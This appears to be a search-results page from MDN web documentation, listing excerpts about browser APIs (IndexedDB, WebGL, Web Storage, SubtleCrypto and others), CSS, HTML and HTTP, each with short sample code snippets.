BaseAudioContext - Web APIs
gnment-baseline="middle">baseaudiocontext</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties baseaudiocontext.audioworklet read only secure context returns the audioworklet object, which can be used to create and manage audionodes in which javascript code implementing the audioworkletprocessor interface are run in the background to process audio data.
... baseaudiocontext.createanalyser() creates an analysernode, which can be used to expose audio time and frequency data and for example to create data visualisations.
... baseaudiocontext.createbiquadfilter() creates a biquadfilternode, which represents a second order filter configurable as several different common filter types: high-pass, low-pass, band-pass, etc baseaudiocontext.createbuffer() creates a new, empty audiobuffer object, which can then be populated by data and played via an audiobuffersourcenode.
...And 3 more matches
CanvasRenderingContext2D - Web APIs
pixel manipulation see also the imagedata object.
... canvasrenderingcontext2d.createimagedata() creates a new, blank imagedata object with the specified dimensions.
... canvasrenderingcontext2d.getimagedata() returns an imagedata object representing the underlying pixel data for the area of the canvas denoted by the rectangle which starts at (sx, sy) and has an sw width and sh height.
...And 3 more matches
Clipboard.read() - Web APIs
WebAPIClipboardread
the read() method of the clipboard interface requests a copy of the clipboard's contents, delivering the data to the returned promise when the promise is resolved.
... unlike readtext(), the read() method can return arbitrary data, such as images.
... return value a promise that resolves with a datatransfer object containing the clipboard's contents.
...And 3 more matches
Binary strings - Web APIs
WebAPIDOMStringBinary
its purpose however is not to represent characters, but binary data.
... the size of the data so represented is twice as big as it would be in normal binary format, however this will not be visible to the final user, since the length of javascript strings is calculated using two bytes as the unit.
... the reason that brought to use utf-16 code units as placeholders for uint8 numbers is that as web applications become more and more powerful (adding features such as audio and video manipulation, access to raw data using websockets, and so forth) it has become clear that there are times when it would be helpful for javascript code to be able to quickly and easily manipulate raw binary data.
...And 3 more matches
Introduction to the DOM - Web APIs
the document object model (dom) is the data representation of the objects that comprise the structure and content of a document on the web.
...oaded window.onload = function() { // create a couple of elements in an otherwise empty html page const heading = document.createelement("h1"); const heading_text = document.createtextnode("big head!"); heading.appendchild(heading_text); document.body.appendchild(heading); } </script> </head> <body> </body> </html> fundamental data types this reference tries to describe the various objects and types in simple terms.
... but there are a number of different data types being passed around the api that you should be aware of.
...And 3 more matches
HTMLMediaElement.readyState - Web APIs
have_metadata 1 enough of the media resource has been retrieved that the metadata attributes are initialized.
... have_current_data 2 data is available for the current playback position, but not enough to actually play more than one frame.
... have_future_data 3 data for the current playback position as well as for at least a little bit of time into the future is available (in other words, at least two frames of video, for example).
...And 3 more matches
The HTML DOM API - Web APIs
access to and manipulation of form data.
... htmlanchorelement htmlareaelement htmlaudioelement htmlbrelement htmlbaseelement htmlbodyelement htmlbuttonelement htmlcanvaselement htmldlistelement htmldataelement htmldatalistelement htmldetailselement htmldialogelement htmldirectoryelement htmldivelement htmlelement htmlembedelement htmlfieldsetelement htmlformelement htmlhrelement htmlheadelement htmlheadingelement htmlhtmlelement htmliframeelement htmlimageelement htmlinputelement htmllielement htmllabelelement htmllegendelement htmllinkelement htmlmapelement htmlmediaelemen...
... formdataevent htmlformcontrolscollection htmloptionscollection radionodelist validitystate canvas and image interfaces these interfaces represent objects used by the canvas api as well as the <img> element and <picture> elements.
...And 3 more matches
IDBCursor.delete() - Web APIs
WebAPIIDBCursordelete
the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
...); }; } else { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.value.albumtitle + '</strong>, ' + cursor.value.year; list.appendchild(listitem); } cursor.continue(); } else { console.log('entries displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'delete()' in that specification.
...And 3 more matches
IDBCursor.source - Web APIs
WebAPIIDBCursorsource
within each iteration we log the source of the cursor, which will log our idbobjectstore object to the console, something like this: idbobjectstore {autoincrement: false, transaction: idbtransaction, indexnames: domstringlist, keypath: "albumtitle", name: "rushalbumlist"…} the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
... for a complete working example, see our idbcursor example (view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.source); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification.
...And 3 more matches
IDBCursorWithValue.value - Web APIs
the cursor does not require us to select the data based on a key; we can just grab all of it.
... also note that in each iteration of the loop, you can grab data from the current record under the cursor object using cursor.value.foo.
... for a complete working example, see our idbcursor example (view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); console.log(cursor.value); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification.
...And 3 more matches
IDBKeyRange.bound() - Web APIs
WebAPIIDBKeyRangebound
exceptions this method may raise a domexception of the following type: exception description dataerror the following conditions raise an exception: the lower or upper parameters were not passed a valid key.
... note: for a more complete example allowing you to experiment with key range, have a look at the idbkeyrange directory in the indexeddb-examples repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("a", "f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cur...
...sor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'bound()' in that specification.
...And 3 more matches
IDBKeyRange.lowerBound() - Web APIs
exceptions this method may raise a domexception of the following type: exception description dataerror the value parameter passed was not a valid key.
... note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.lowerbound("f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cur...
...sor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'lowerbound()' in that specification.
...And 3 more matches
IDBKeyRange.only() - Web APIs
WebAPIIDBKeyRangeonly
exceptions this method may raise a domexception of the following types: exception description dataerror the value parameter passed was not a valid key.
... note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.only("a"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.va...
...lue.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'only' in that specification.
...And 3 more matches
IDBKeyRange.upperBound() - Web APIs
exceptions this method may raise a domexception of the following type: exception description dataerror the value parameter passed was not a valid key.
... note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.upperbound("f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cur...
...sor.value.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specification specification status comment indexed database api 2.0the definition of 'upperbound()' in that specification.
...And 3 more matches
IDBKeyRange - Web APIs
the idbkeyrange interface of the indexeddb api represents a continuous interval over some data type that is used for keys.
... note: for a more complete example allowing you to experiment with key range, have a look at our idbkeyrange-example repo (view the example live too.) function displaydata() { var keyrangevalue = idbkeyrange.bound("a", "f"); var transaction = db.transaction(['fthings'], 'readonly'); var objectstore = transaction.objectstore('fthings'); objectstore.opencursor(keyrangevalue).onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = '<strong>' + cursor.va...
...lue.fthing + '</strong>, ' + cursor.value.frating; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; } specifications specification status comment indexed database api 2.0the definition of 'idbkeyrange' in that specification.
...And 3 more matches
IDBRequest.onerror - Web APIs
ll working example, see our to-do notifications app (view example live.) var title = "walk dog"; // open up a transaction as usual var objectstore = db.transaction(['todolist'], "readwrite").objectstore('todolist'); // get the to-do list object that has this title as it's title var objectstoretitlerequest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item back // into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitle...
...request.onsuccess = function() { displaydata(); }; }; objectstoretitlerequest.onerror = function() { // if an error occurs with the request, log what it is console.log("there has been an error with retrieving your data: " + objectstoretitlerequest.error); // todo what about event parameter into onerror()?
...}; specifications specification status comment indexed database api 2.0the definition of 'onerror' in that specification.
...And 3 more matches
IDBVersionChangeEvent.oldVersion - Web APIs
the oldversion read-only property of the idbversionchangeevent interface returns the old version number of the database.
... when the opened database doesn't exist yet, the value of oldversion is 0.
...}; specifications specification status comment indexed database api 2.0the definition of 'oldversion' in that specification.
...And 3 more matches
IDBVersionChangeRequest.setVersion() - Web APIs
the idbversionchangerequest.setversion method updates the version of the database, returning immediately and running a versionchange transaction on the connected database in a separate thread.
...the new way is to define the version in the idbdatabase.open() method and create and delete object stores in the onupgradeneeded event handler associated with the returned request.
... syntax idbversionchangerequest setversion ([treatnullas=emptystring] in domstring version); example tbd parameters version the version to store in the database.
...And 3 more matches
MediaStreamTrack: ended event - Web APIs
the ended event of the mediastreamtrack interface is fired when playback or streaming has stopped because the end of the media was reached or because no further data is available.
... bubbles no cancelable no interface event event handler property mediastreamtrack.onended usage notes ended events fire when the media stream track's source permanently stops sending data on the stream.
... there are various ways this can happen, including: there is no more data left to send.
...And 3 more matches
MediaStreamTrack - Web APIs
mediastreamtrack.muted read only returns a boolean value indicating whether the track is unable to provide media data due to a technical issue.
...this will be one of the following values: "live" which indicates that an input is connected and does its best-effort in providing real-time data.
... in that case, the output of data can be switched on or off using the enabled attribute.
...And 3 more matches
Media Session API - Web APIs
it does this by providing metadata for display by the user agent of the media your web app is playing, and allows you to create event handlers, to define your own behaviors for a user-agent playback controls.
... media session concepts and usage the mediametadata interface lets a web site provide rich metadata to the platform ui for media that is playing.
... this metadata includes the title, artist (creator) name, album (collection), and artwork.
...And 3 more matches
Using the Payment Request API - Web APIs
this takes two mandatory parameters and one option parameter: methoddata — an object containing information concerning the payment provider, such as what payment methods are supported, etc.
... so for example, you could create a new paymentrequest instance like so: var request = new paymentrequest(buildsupportedpaymentmethoddata(), buildshoppingcartdetails()); the functions invoked inside the constructor simply return the required object parameters: function buildsupportedpaymentmethoddata() { // example supported payment methods: return [{ supportedmethods: 'basic-card', data: { supportednetworks: ['visa', 'mastercard'], supportedtypes: ['debit', 'credit'] } }]; } function buildshoppingcartdet...
...it returns a promise that fulfills with a boolean indicating whether it is or not, for example: // dummy payment request to check whether payment can be made new paymentrequest(buildsupportedpaymentmethoddata(), {total: {label: 'stub', amount: {currency: 'usd', value: '0.01'}}}) .canmakepayment() .then(function(result) { if(result) { // real payment request var request = new paymentrequest(buildsupportedpaymentmethoddata(), checkoutobject); request.show().then(function(paymentresponse) { // ...
...And 3 more matches
PushEvent - Web APIs
WebAPIPushEvent
additional properties: pushevent.data read only returns a reference to a pushmessagedata object containing data sent to the pushsubscription.
... examples the following example takes data from a pushevent and displays it on all of the service worker's clients.
... self.addeventlistener('push', function(event) { if (!(self.notification && self.notification.permission === 'granted')) { return; } var data = {}; if (event.data) { data = event.data.json(); } var title = data.title || "something has happened"; var message = data.message || "here's something you might want to check out."; var icon = "images/new-notification.png"; var notification = new self.notification(title, { body: message, tag: 'simple-push-demo-notification', icon: icon }); notification.addeventlistener('click', function() { if (clients.openwindow) { clients.openwindow('https://example.blog.com/2015/03/04/something-new.html'); } }); }); specifications specification status comment push apithe definiti...
...And 3 more matches
ScriptProcessorNode - Web APIs
the scriptprocessornode interface is an audionode audio-processing module that is linked to two buffers, one containing the input audio data, one containing the processed output audio data.
... an event, implementing the audioprocessingevent interface, is sent to the object each time the input buffer contains new data, and the event handler terminates when it has filled the output buffer with data.
... examples the following example shows basic usage of a scriptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode.
...And 3 more matches
SubtleCrypto.digest() - Web APIs
the digest() method of the subtlecrypto interface generates a digest of the given data.
... it takes as its arguments an identifier for the digest algorithm to use and the data to digest.
... syntax const digest = crypto.subtle.digest(algorithm, data); parameters algorithm is a domstring defining the hash function to use.
...And 3 more matches
SubtleCrypto - Web APIs
subtlecrypto.encrypt() returns a promise that fufills with the encrypted data corresponding to the clear text, algorithm, and key given as parameters.
... subtlecrypto.decrypt() returns a promise that fulfills with the clear data corresponding to the encrypted text, algorithm, and key given as parameters.
... subtlecrypto.importkey() returns a promise that fulfills with a cryptokey corresponding to the format, the algorithm, raw key data, usages, and extractability given as parameters.
...And 3 more matches
A basic 2D WebGL animation example - Web APIs
let gl = null; let glcanvas = null; // aspect ratio and coordinate system // details let aspectratio; let currentrotation = [0, 1]; let currentscale = [1.0, 1.0]; // vertex information let vertexarray; let vertexbuffer; let vertexnumcomponents; let vertexcount; // rendering data shared with the // scalers.
...t-shader" } ]; shaderprogram = buildshaderprogram(shaderset); aspectratio = glcanvas.width/glcanvas.height; currentrotation = [0, 1]; currentscale = [1.0, aspectratio]; vertexarray = new float32array([ -0.5, 0.5, 0.5, 0.5, 0.5, -0.5, -0.5, 0.5, 0.5, -0.5, -0.5, -0.5 ]); vertexbuffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, vertexbuffer); gl.bufferdata(gl.array_buffer, vertexarray, gl.static_draw); vertexnumcomponents = 2; vertexcount = vertexarray.length/vertexnumcomponents; currentangle = 0.0; rotationrate = 6; animatescene(); } after getting the webgl context, gl, we need to begin by building the shader program.
...we bind the standard webgl array buffer reference to that by calling gl.bindbuffer() and then copy the vertex data into the buffer using gl.bufferdata().
...And 3 more matches
Adding 2D content to a WebGL context - Web APIs
the shaders a shader is a program, written using the opengl es shading language (glsl), that takes information about the vertices that make up a shape and generates the data needed to render the pixels onto the screen: namely, the positions of the pixels and their colors.
... // // initialize a shader program, so webgl knows how to draw our data // function initshaderprogram(gl, vssource, fssource) { const vertexshader = loadshader(gl, gl.vertex_shader, vssource); const fragmentshader = loadshader(gl, gl.fragment_shader, fssource); // create the shader program const shaderprogram = gl.createprogram(); gl.attachshader(shaderprogram, vertexshader); gl.attachshader(shaderprogram, fragmentshader); gl.linkprogram(shaderprogram...
... gl.bufferdata(gl.array_buffer, new float32array(positions), gl.static_draw); return { position: positionbuffer, }; } this routine is pretty simplistic given the basic nature of the scene in this example.
...And 3 more matches
Viewpoints and viewers: Simulating cameras in WebXR - Web APIs
our brain receives two sets of data about light levels and wavelengths throughout our field of view—one from each eye.
... the brain uses this data to construct the scene in our minds, using the slight differences between the two perspectives to figure out depth and distance.
...these views are then separately fed to each eye, in order to allow them to collect the data our brain needs in order to construct a 3d image in our minds.
...And 3 more matches
Inputs and input sources - Web APIs
input sources each source of webxr input data is represented by an xrinputsource object which describes the input source and its current state.
... in order to do anything meaningful involving scanning of profiles beyond basic identification of features, you may need to import the json profile database from the webxr input profiles registry.
... for example, the generic-trigger-squeeze-touchpad profile name can be used to locate the following json profile data by locating the profileid field that has the value generic-trigger-squeeze-touchpad.
...And 3 more matches
Web Storage API - Web APIs
web storage concepts and usage the two mechanisms within web storage are as follows: sessionstorage maintains a separate storage area for each given origin that's available for the duration of the page session (as long as the browser is open, including page reloads and restores) stores data only for a session, meaning that the data is stored until the browser (or tab) is closed.
... data is never transferred to the server.
... stores data with no expiration date, and gets cleared only through javascript, or clearing the browser cache / locally stored data.
...And 3 more matches
Functions and classes available to Web Workers - Web APIs
8 (8) no support no support no support formdata formdata objects provide a way to easily construct a set of key/value pairs representing form fields and their values, which can then be easily sent using the xmlhttprequest send() method.
... imagedata the underlying pixel data of an area of a canvas element.
... manipulating such data can be a complex task better suited to be delegated to a web worker.
...And 3 more matches
Window.sessionStorage - Web APIs
sessionstorage is similar to localstorage; the difference is that while data in localstorage doesn't expire, data in sessionstorage is cleared when the page session ends.
... data stored in sessionstorage is specific to the protocol of the page.
... in particular, data stored by a script on a site accessed with http (e.g., http://example.com) is put in a different sessionstorage object from the same site accessed with https (e.g., https://example.com).
...And 3 more matches
WindowOrWorkerGlobalScope.atob() - Web APIs
the windoworworkerglobalscope.atob() function decodes a string of data which has been encoded using base64 encoding.
... you can use the btoa() method to encode and transmit data which may otherwise cause communication problems, then transmit it and use the atob() method to decode the data again.
... syntax var decodeddata = scope.atob(encodeddata); parameters encodeddata a binary string contains an base64 encoded data.
...And 3 more matches
WindowOrWorkerGlobalScope.btoa() - Web APIs
the windoworworkerglobalscope.btoa() method creates a base64-encoded ascii string from a binary string (i.e., a string object in which each character in the string is treated as a byte of binary data).
... you can use this method to encode data which may otherwise cause communication problems, transmit it, then use the atob() method to decode the data again.
... syntax var encodeddata = scope.btoa(stringtoencode); parameters stringtoencode the binary string to encode.
...And 3 more matches
Worker.prototype.postMessage() - Web APIs
this accepts a single parameter, which is the data to send to the worker.
... the data may be any value or javascript object handled by the structured clone algorithm, which includes cyclical references.
... syntax worker.postmessage(message, [transfer]); parameters message the object to deliver to the worker; this will be in the data field in the event delivered to the dedicatedworkerglobalscope.onmessage handler.
...And 3 more matches
WritableStream.WritableStream() - Web APIs
write(chunk, controller) optional this method, also defined by the developer, will be called when a new chunk of data (specified in the chunk parameter) is ready to be written to the underlying sink.
... the highwatermark property, which is set when creating the counting strategy (line 35), sets the maximum amount of data that the writablestream instance will handle in a single write() operation.
... in this example, it's the maximum amount of data that can be sent to defaultwriter.write() (line 11).
...And 3 more matches
XMLHttpRequest - Web APIs
you can retrieve data from a url without having to do a full page refresh.
...idth="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="511" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">xmlhttprequest</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} despite its name, xmlhttprequest can be used to retrieve any type of data, not just xml.
... if your communication needs to involve receiving event data or message data from a server, consider using server-sent events through the eventsource interface.
...And 3 more matches
Using multi-column layouts - CSS: Cascading Style Sheets
</p> <p> excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.
...excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum </div> css #wid { column-width: 100px; } result the exact details are described in the css3 specification.
...excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum </div> css #col_short { columns: 12em; } the css declaration column-count: 4 can be replaced by columns: 4.
...And 3 more matches
CSS values and units - CSS: Cascading Style Sheets
there are a common set of data types -- values and units -- that css properties accept.
... below is an overview of most of these data types.
... textual data types <custom-ident> pre-defined keywords as an <ident> <string> <url> text data types are either <string>, a quoted series of characters, or an <ident>, a "css identifier" which is an unquoted string.
...And 3 more matches
<shape> - CSS: Cascading Style Sheets
WebCSSshape
the <shape> css data type defines the specific form (shape) of a region.
...when possible, use clip-path and the <basic-shape> data type instead.
... syntax the <shape> data type is specified using the rect() function, which produces a region in the form of a rectangle.
...And 3 more matches
Overview of events and handlers - Developer guides
the pattern starts with an agreement over a kind of event and: the name string used for the event, the type of the data structure used to represent the key properties of that event, and the javascript object which will 'emit' that event.
... the pattern is implemented by defining a javascript function which takes as an argument the data structure which was agreed upon, and registering the function using the name string with the object which will emit the event.
...browsers use as the data structure for the properties of the event, an object derived from the eventprototype object.
...And 3 more matches
HTML5 - Developer guides
WebGuideHTMLHTML5
offline and storage: allowing webpages to store data on the client-side locally and operate offline more efficiently.
... new semantic elements beside sections, media and forms elements, there are numerous new elements, like <mark>, <figure>, <figcaption>, <data>, <time>, <output>, <progress>, or <meter> and <main>, increasing the number of valid html5 elements.
... connectivity web sockets allows creating a permanent connection between the page and the server and to exchange non-html data through that means.
...And 3 more matches
<img>: The Image Embed element - HTML: Hypertext Markup Language
WebHTMLElementimg
the image's metadata is corrupted in such a way that it's impossible to retrieve its dimensions, and no dimensions were specified in the <img> element's attributes.
...image data from a cors-enabled image returned from a cors request can be reused in the <canvas> element without being marked "tainted".
... if the crossorigin attribute is not specified, then a non-cors request is sent (without the origin request header), and the browser marks the image as tainted and restricts access to its image data, preventing its usage in <canvas> elements.
...And 3 more matches
<input type="date"> - HTML: Hypertext Markup Language
WebHTMLElementinputdate
among browsers with custom interfaces for selecting dates are chrome and opera, whose data control looks like so: the edge date control looks like: and the firefox date control looks like this: value a domstring representing a date in yyyy-mm-dd format, or empty events change and input supported common attributes autocomplete, list, readonly, and step idl attributes list, value, valueasdate, valueasnumber.
... note: when the data entered by the user doesn't adhere to the stepping configuration, the user agent may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.
... using date inputs date inputs sound convenient — they provide an easy interface for choosing dates, and they normalize the data format sent to the server regardless of the user's locale.
...And 3 more matches
<input type="week"> - HTML: Hypertext Markup Language
WebHTMLElementinputweek
note: when the data entered by the user doesn't adhere to the stepping configuration, the user agent may round to the nearest valid value, preferring numbers in the positive direction when there are two equally close options.
... using week inputs week inputs sound convenient at first glance, since they provide an easy ui for choosing weeks, and they normalize the data format sent to the server, regardless of the user's browser or locale.
...try playing with the example now: here's'a screenshot for those of you who aren't using a supporting browser: important: html form validation is not a substitute for scripts that ensure that the entered data is in the proper format.
...And 3 more matches
itemscope - HTML: Hypertext Markup Language
itemscope is a boolean global attribute that defines the scope of associated metadata.
... <div itemscope itemtype="http://schema.org/movie"> <h1 itemprop="name">avatar</h1> <span>director: <span itemprop="director">james cameron</span> (born august 16, 1954)</span> <span itemprop="genre">science fiction</span> <a href="https://youtu.be/0ay1xikx7by" itemprop="trailer">trailer</a> </div> structured data the following table shows the structured data from the preceding example.
...the itemtypes, recipe, aggregaterating, and nutritioninformation in the following example are part of the schema.org structured data for a recipe, as specified by the first itemtype, http://schema.org/recipe.
...And 3 more matches
Content-Disposition - HTTP
in a multipart/form-data body, the http content-disposition general header is a header that can be used on the subpart of a multipart body to give information about the field it applies to.
...only the value form-data, as well as the optional directive name and filename, can be used in the http context.
... content-disposition: inline content-disposition: attachment content-disposition: attachment; filename="filename.jpg" as a header for a multipart body the first parameter in the http context is always form-data.
...And 3 more matches
The "codecs" parameter in common media types - Web media technologies
however, many media types—especially those that support video tracks—can benefit from the ability to more precisely describe the format of the data within them.
...otherwise, the video data is entirely in the y plane and is therefore monochromatic.
... the syntax for the value of codecs varies by codec; however, it always starts with the codec's four-character identifier, a period separator (.), followed by the object type indication (oti) value for the specific data format.
...And 3 more matches
color-profile - SVG: Scalable Vector Graphics
as a presentation attribute, it can be applied to any element but it only has an effect on the following element: <image> usage notes value auto | srgb | <name> | <iri> default value auto animatable yes auto all colors are presumed to be defined in the srgb color space unless a more precise embedded profile is specified within content data.
... for images that do have a profile built into their data, that profile is used.
... <name> a name corresponding to a defined color profile that is in the browser's color profile description database.
...And 3 more matches
Types of attacks - Web security
cross-site scripting attacks usually occur when 1) data enters a web app through an untrusted source (most often a web request) or 2) dynamic content is sent to a web user without being validated for malicious content.
...the variety of attacks based on xss is almost limitless, but they commonly include transmitting private data like cookies or other session information to the attacker, redirecting the victim to a webpage controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.
...the victim then retrieves this malicious script from the server when the browser sends a request for data.
...And 3 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
WebXSLTIndex
javascript can enable a web application to load xml data, process it via xslt into a presentable form and then add it into an existing document.
... since the xml data loaded only contains the raw information without any presentation data, it can load quickly even on dialup.
...for example, javascript and xslt could be used to sort xml data and then display it.
...And 3 more matches
private-browsing - Archive of obsolete content
documents belonging to private browser windows any panel objects will not be shown if the active window is a private browser window the selection module will not include any selections made in private browser windows add-ons that have opted in will see private windows, so they will need to use the private-browsing module to check whether objects are private, so as to avoid storing data derived from such objects.
...it returns true only if the object is: a private window, or a tab belonging to a private window, or a worker that's associated with a document hosted in a private window any window, tab, or worker if the browser has been configured to never remember history (options->privacy->history) add-ons can use this api to decide whether or not to store user data.
... tabs that were loaded into private windows: var simplestorage = require("simple-storage"); if (!simplestorage.storage.titles) simplestorage.storage.titles = []; require("tabs").on("ready", function(tab) { if (!require("sdk/private-browsing").isprivate(tab)) { console.log("storing..."); simplestorage.storage.titles.push(tab.title); } else { console.log("not storing, private data"); } }); here's an add-on that uses a page-mod to log the content of pages loaded by the user, unless the page is private.
...And 2 more matches
cfx - Archive of obsolete content
this command will create an skeleton add-on, as a starting point for your own add-on development, with the following file structure: my-addon data docs main.md lib main.js package.json readme.md tests test-main.js cfx run this command is used to run the add-on.
... -f filename[:testname], --filter=filename[:testname] only run tests whose filenames match filename and optionally match testname, both regexps (test, testall, testex, testpkgs) for example: if you specify --filter data, then cfx will only run tests in those modules whose name contain the string "data".
...this means that any profile-specific data entered from one run of cfx will not, by default, be available in the next run.
...And 2 more matches
Canvas code snippets - Archive of obsolete content
function getpixelamount(canvas, r, g, b) { var cx = canvas.getcontext('2d'); var pixels = cx.getimagedata(0, 0, canvas.width, canvas.height); var all = pixels.data.length; var amount = 0; for (i = 0; i < all; i += 4) { if (pixels.data[i] === r && pixels.data[i + 1] === g && pixels.data[i + 2] === b) { amount++; } } return amount; }; getting the color of a pixel in a canvas this following snippet returns an object with the rgba values of the pixel at position...
... function getpixelcolour(canvas, x, y) { var cx = canvas.getcontext('2d'); var pixel = cx.getimagedata(x, y, 1, 1); return { r: pixel.data[0], g: pixel.data[1], b: pixel.data[2], a: pixel.data[3] }; } chaining methods this class provides jquery-style chained access to 2d context methods and properties.
..., 'moveto', 'quadraticcurveto', 'rect', 'restore', 'rotate', 'save', 'scale', 'settransform', 'stroke', 'strokerect', 'stroketext', 'transform', 'translate']; var gettermethods = ['createpattern', 'drawfocusring', 'ispointinpath', 'measuretext', // drawfocusring not currently supported // the following might instead be wrapped to be able to chain their child objects 'createimagedata', 'createlineargradient', 'createradialgradient', 'getimagedata', 'putimagedata' ]; var props = ['canvas', 'fillstyle', 'font', 'globalalpha', 'globalcompositeoperation', 'linecap', 'linejoin', 'linewidth', 'miterlimit', 'shadowoffsetx', 'shadowoffsety', 'shadowblur', 'shadowcolor', 'strokestyle', 'textalign', 'textbaseline']; for (let m of methods) { let method = m; c...
...And 2 more matches
Drag & Drop - Archive of obsolete content
next, setup the handlers so that files can be dropped on the application: function _dragover(aevent) { var dragservice = components.classes["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsession(); var supported = dragsession.isdataflavorsupported("text/x-moz-url"); if (!supported) supported = dragsession.isdataflavorsupported("application/x-moz-file"); if (supported) dragsession.candrop = true; } function _dragdrop(aevent) { var dragservice = components.classes["@mozilla.org/widget/dragservice;1"].getservice(components.interfaces.nsidragservice); var dragsession = dragservice.getcurrentsess...
...ion(); var _ios = components.classes['@mozilla.org/network/io-service;1'].getservice(components.interfaces.nsiioservice); var uris = new array(); // if sourcenode is not null, then the drop was from inside the application if (dragsession.sourcenode) return; // setup a transfer item to retrieve the file data var trans = components.classes["@mozilla.org/widget/transferable;1"].createinstance(components.interfaces.nsitransferable); trans.adddataflavor("text/x-moz-url"); trans.adddataflavor("application/x-moz-file"); for (var i=0; i<dragsession.numdropitems; i++) { var uri = null; dragsession.getdata(trans, i); var flavor = {}, data = {}, length = {}; trans.getanytransferdata(flavor, data, length); if (data) { try...
... { var str = data.value.queryinterface(components.interfaces.nsisupportsstring); } catch(ex) { } if (str) { uri = _ios.newuri(str.data.split("\n")[0], null, null); } else { var file = data.value.queryinterface(components.interfaces.nsifile); if (file) uri = _ios.newfileuri(file); } } if (uri) uris.push(uri); } // use the array of file uris } the _dragover function checks the drag data to see if a simple text file or general purpose file types are available.
...And 2 more matches
Install Manifests - Archive of obsolete content
it contains metadata identifying the add-on, providing information about who created it, where more information can be found about it, which versions of what applications it is compatible with, how it should be updated, and so on.
... localized allows you to localize the add-on's name, description, contributors and other metadata.
... examples this declares a set of add-on metadata to be displayed when the application is running in the de-de locale.
...And 2 more matches
Adding sidebars - Archive of obsolete content
sidebars take as much space as the user wants them to, and provide a frame where you can add elaborate data and controls.
...trees are specially powerful when combined with data templates, a topic that will be covered later on.
...we would use data from a datasource such as a database or a remote api.
...And 2 more matches
Appendix B: Install and Uninstall Scripts - Archive of obsolete content
uninstall scripts there are two common cases for needing these: cleaning up local data and presenting an uninstall feedback form.
... regarding local data, it is debatable if it is good practice to remove it or not.
